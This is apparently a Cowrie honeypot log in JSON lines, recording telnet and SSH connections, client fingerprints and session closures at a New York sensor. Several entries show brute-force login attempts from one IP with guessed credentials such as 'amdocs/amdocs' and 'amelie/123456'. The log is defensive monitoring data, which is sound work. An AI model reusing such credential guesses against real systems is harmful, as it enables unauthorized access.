{"eventid":"cowrie.session.closed","duration":32.57886838912964,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:52:25.849339Z","src_ip":"104.248.46.74","session":"4c84efbe64ab","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.427727937698364,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:52:30.945562Z","src_ip":"208.82.116.131","session":"cb854acb2892","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.26918649673462,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:52:33.167057Z","src_ip":"162.253.42.116","session":"f4711f226fa1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":33942,"dst_ip":"159.203.135.109","dst_port":22,"session":"434a813a52e8","protocol":"ssh","message":"New connection: 159.203.92.129:33942 (159.203.135.109:22) [session: 434a813a52e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:52:33.361296Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:52:33.365437Z","src_ip":"159.203.92.129","session":"434a813a52e8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:52:33.369149Z","src_ip":"159.203.92.129","session":"434a813a52e8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"amber","password":"amber","message":"login attempt [amber/amber] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:52:33.394103Z","src_ip":"159.203.92.129","session":"434a813a52e8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:52:34.401224Z","src_ip":"159.203.92.129","session":"434a813a52e8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.990461111068726,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:52:35.215810Z","src_ip":"172.105.148.20","session":"bc9dd272b244","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":47.03748178482056,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:52:40.240552Z","src_ip":"208.82.116.131","session":"719c7c7958cd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":51408,"dst_ip":"10.17.0.5","dst_port":23,"session":"f19ae4dab6b9","protocol":"telnet","message":"New connection: 162.253.42.116:51408 (10.17.0.5:23) [session: f19ae4dab6b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:52:45.300479Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":39730,"dst_ip":"10.17.0.5","dst_port":23,"session":"3efe45eaea89","protocol":"telnet","message":"New connection: 162.253.42.116:39730 (10.17.0.5:23) [session: 3efe45eaea89]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:53:01.652655Z"}
{"eventid":"cowrie.session.closed","duration":36.984482765197754,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:53:02.380029Z","src_ip":"162.253.42.116","session":"21c5e02ddce7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.248.46.74","src_port":34246,"dst_ip":"159.203.135.109","dst_port":23,"session":"5f0e37f94d49","protocol":"telnet","message":"New connection: 104.248.46.74:34246 (159.203.135.109:23) [session: 5f0e37f94d49]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:53:08.069459Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":50132,"dst_ip":"159.203.135.109","dst_port":22,"session":"26a2a48da0f7","protocol":"ssh","message":"New connection: 159.203.92.129:50132 (159.203.135.109:22) [session: 26a2a48da0f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:53:19.061784Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:53:19.066432Z","src_ip":"159.203.92.129","session":"26a2a48da0f7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:53:19.071111Z","src_ip":"159.203.92.129","session":"26a2a48da0f7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"amd","password":"amd","message":"login attempt [amd/amd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:53:19.082591Z","src_ip":"159.203.92.129","session":"26a2a48da0f7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:53:20.089180Z","src_ip":"159.203.92.129","session":"26a2a48da0f7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.85616588592529,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:53:22.156522Z","src_ip":"162.253.42.116","session":"f19ae4dab6b9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.82.116.131","src_port":35880,"dst_ip":"159.203.135.109","dst_port":23,"session":"fcfee12787bb","protocol":"telnet","message":"New connection: 208.82.116.131:35880 (159.203.135.109:23) [session: fcfee12787bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:53:22.651462Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":60366,"dst_ip":"10.17.0.5","dst_port":23,"session":"963cc1d03143","protocol":"telnet","message":"New connection: 162.253.42.116:60366 (10.17.0.5:23) [session: 963cc1d03143]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:53:25.112553Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":40766,"dst_ip":"10.17.0.5","dst_port":23,"session":"a95dda02bd73","protocol":"telnet","message":"New connection: 162.253.42.116:40766 (10.17.0.5:23) [session: a95dda02bd73]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:53:33.489294Z"}
{"eventid":"cowrie.session.closed","duration":36.36035346984863,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:53:38.012887Z","src_ip":"162.253.42.116","session":"3efe45eaea89","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.34491848945618,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:53:41.414250Z","src_ip":"104.248.46.74","session":"5f0e37f94d49","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.136.57.21","src_port":36548,"dst_ip":"10.17.0.5","dst_port":23,"session":"5377bc9a38e5","protocol":"telnet","message":"New connection: 174.136.57.21:36548 (10.17.0.5:23) [session: 5377bc9a38e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:53:43.436018Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":34394,"dst_ip":"10.17.0.5","dst_port":23,"session":"718e120821f6","protocol":"telnet","message":"New connection: 162.253.42.116:34394 (10.17.0.5:23) [session: 718e120821f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:53:56.717606Z"}
{"eventid":"cowrie.session.closed","duration":34.62109971046448,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:53:59.733537Z","src_ip":"162.253.42.116","session":"963cc1d03143","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":51638,"dst_ip":"159.203.135.109","dst_port":22,"session":"b4fb5c82ee0a","protocol":"ssh","message":"New connection: 159.203.92.129:51638 (159.203.135.109:22) [session: b4fb5c82ee0a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:54:04.029429Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:54:04.034390Z","src_ip":"159.203.92.129","session":"b4fb5c82ee0a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:54:04.040976Z","src_ip":"159.203.92.129","session":"b4fb5c82ee0a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"amdocs","password":"amdocs","message":"login attempt [amdocs/amdocs] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:54:04.051936Z","src_ip":"159.203.92.129","session":"b4fb5c82ee0a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:54:05.059536Z","src_ip":"159.203.92.129","session":"b4fb5c82ee0a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.5645489692688,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:54:07.053744Z","src_ip":"162.253.42.116","session":"a95dda02bd73","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":46196,"dst_ip":"10.17.0.5","dst_port":23,"session":"c0031e4af474","protocol":"telnet","message":"New connection: 162.253.42.116:46196 (10.17.0.5:23) [session: c0031e4af474]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:54:08.116111Z"}
{"eventid":"cowrie.session.closed","duration":49.21821570396423,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:54:11.869548Z","src_ip":"208.82.116.131","session":"fcfee12787bb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.692657947540283,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:54:15.128589Z","src_ip":"174.136.57.21","session":"5377bc9a38e5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.82.116.131","src_port":56278,"dst_ip":"159.203.135.109","dst_port":23,"session":"d6a338c33e70","protocol":"telnet","message":"New connection: 208.82.116.131:56278 (159.203.135.109:23) [session: d6a338c33e70]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:54:19.668463Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.82.116.131","src_port":56336,"dst_ip":"159.203.135.109","dst_port":23,"session":"4541774474b0","protocol":"telnet","message":"New connection: 208.82.116.131:56336 (159.203.135.109:23) [session: 4541774474b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:54:19.833089Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.82.116.131","src_port":56366,"dst_ip":"159.203.135.109","dst_port":23,"session":"9b51ada5515d","protocol":"telnet","message":"New connection: 208.82.116.131:56366 (159.203.135.109:23) [session: 9b51ada5515d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:54:19.963494Z"}
{"eventid":"cowrie.session.closed","duration":6.013376235961914,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:54:25.846333Z","src_ip":"208.82.116.131","session":"4541774474b0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.667303800582886,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:54:31.384793Z","src_ip":"162.253.42.116","session":"718e120821f6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.134729623794556,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:54:43.250690Z","src_ip":"162.253.42.116","session":"c0031e4af474","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":35286,"dst_ip":"10.17.0.5","dst_port":23,"session":"81fa5b3ad2d9","protocol":"telnet","message":"New connection: 162.253.42.116:35286 (10.17.0.5:23) [session: 81fa5b3ad2d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:54:47.954140Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":35340,"dst_ip":"10.17.0.5","dst_port":23,"session":"39cad1e9cd78","protocol":"telnet","message":"New connection: 162.253.42.116:35340 (10.17.0.5:23) [session: 39cad1e9cd78]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:54:47.987763Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":35478,"dst_ip":"159.203.135.109","dst_port":22,"session":"7a66c5c34f93","protocol":"ssh","message":"New connection: 159.203.92.129:35478 (159.203.135.109:22) [session: 7a66c5c34f93]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:54:49.421970Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:54:49.425720Z","src_ip":"159.203.92.129","session":"7a66c5c34f93","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:54:49.429682Z","src_ip":"159.203.92.129","session":"7a66c5c34f93","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"amelie","password":"123456","message":"login attempt [amelie/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:54:49.442228Z","src_ip":"159.203.92.129","session":"7a66c5c34f93","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:54:50.448422Z","src_ip":"159.203.92.129","session":"7a66c5c34f93","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.243.201.97","src_port":42614,"dst_ip":"10.17.0.5","dst_port":23,"session":"e81b91c38d00","protocol":"telnet","message":"New connection: 43.243.201.97:42614 (10.17.0.5:23) [session: e81b91c38d00]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:54:53.621447Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":45126,"dst_ip":"10.17.0.5","dst_port":23,"session":"26efd8a7269c","protocol":"telnet","message":"New connection: 162.253.42.116:45126 (10.17.0.5:23) [session: 26efd8a7269c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:54:56.641634Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":49770,"dst_ip":"10.17.0.5","dst_port":23,"session":"5cf703ab76fe","protocol":"telnet","message":"New connection: 162.253.42.116:49770 (10.17.0.5:23) [session: 5cf703ab76fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:54:59.218702Z"}
{"eventid":"cowrie.session.closed","duration":45.15838837623596,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:55:04.826741Z","src_ip":"208.82.116.131","session":"d6a338c33e70","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":57800,"dst_ip":"10.17.0.5","dst_port":23,"session":"3e00c8bfca8b","protocol":"telnet","message":"New connection: 162.253.42.116:57800 (10.17.0.5:23) [session: 3e00c8bfca8b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:55:05.593047Z"}
{"eventid":"cowrie.session.closed","duration":46.94309186935425,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:55:06.906459Z","src_ip":"208.82.116.131","session":"9b51ada5515d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":43010,"dst_ip":"10.17.0.5","dst_port":23,"session":"07e999407bec","protocol":"telnet","message":"New connection: 162.253.42.116:43010 (10.17.0.5:23) [session: 07e999407bec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:55:17.204511Z"}
